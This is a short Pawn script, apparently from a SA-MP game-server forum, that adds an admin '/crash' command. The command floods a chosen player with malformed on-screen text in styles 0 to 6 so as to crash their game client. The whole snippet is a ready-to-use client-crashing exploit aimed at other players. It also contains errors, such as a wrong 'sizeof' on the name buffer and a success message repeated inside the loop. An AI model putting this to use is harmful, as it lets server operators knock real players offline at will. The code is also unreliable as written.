pawn Код:
#define forex(%0,%1) \
for (new %0 = 0; %0 < %1; %0++)
//==============================================================================
new
gp,
string[65],
name[MAX_PLAYER_NAME]
;
//==============================================================================
cmd(crash, playerid, params[])
{
if(IsAdmin(playerid))
{
if(sscanf(params, "i", gp)) return SendClientMessage(playerid, 0xF60000AA, "Usage: /crash [PlayerID]");
forex(i, 7)
{
GameTextForPlayer(gp, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 1000, i);
GameTextForPlayer(gp, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 2000, i);
GameTextForPlayer(gp, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 3000, i);
GameTextForPlayer(gp, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 4000, i);
GameTextForPlayer(gp, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 5000, i);
GameTextForPlayer(gp, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 6000, i);
GameTextForPlayer(gp, "•¤¶§!$$%&'()*+,-./01~!@#$^&*()_-+={[}]:;'<,>.?/", 7000, i);
GetPlayerName(gp, name, sizeof MAX_PLAYER_NAME);
format(string, sizeof(string), "Player %s[%d] crashed sucefully", name, gp);
SendClientMessage(playerid, 0xF60000AA, string);
}
}
else
return SendClientMessage(playerid, 0xF60000AA, "You aren't Rcon...");
return 1;
}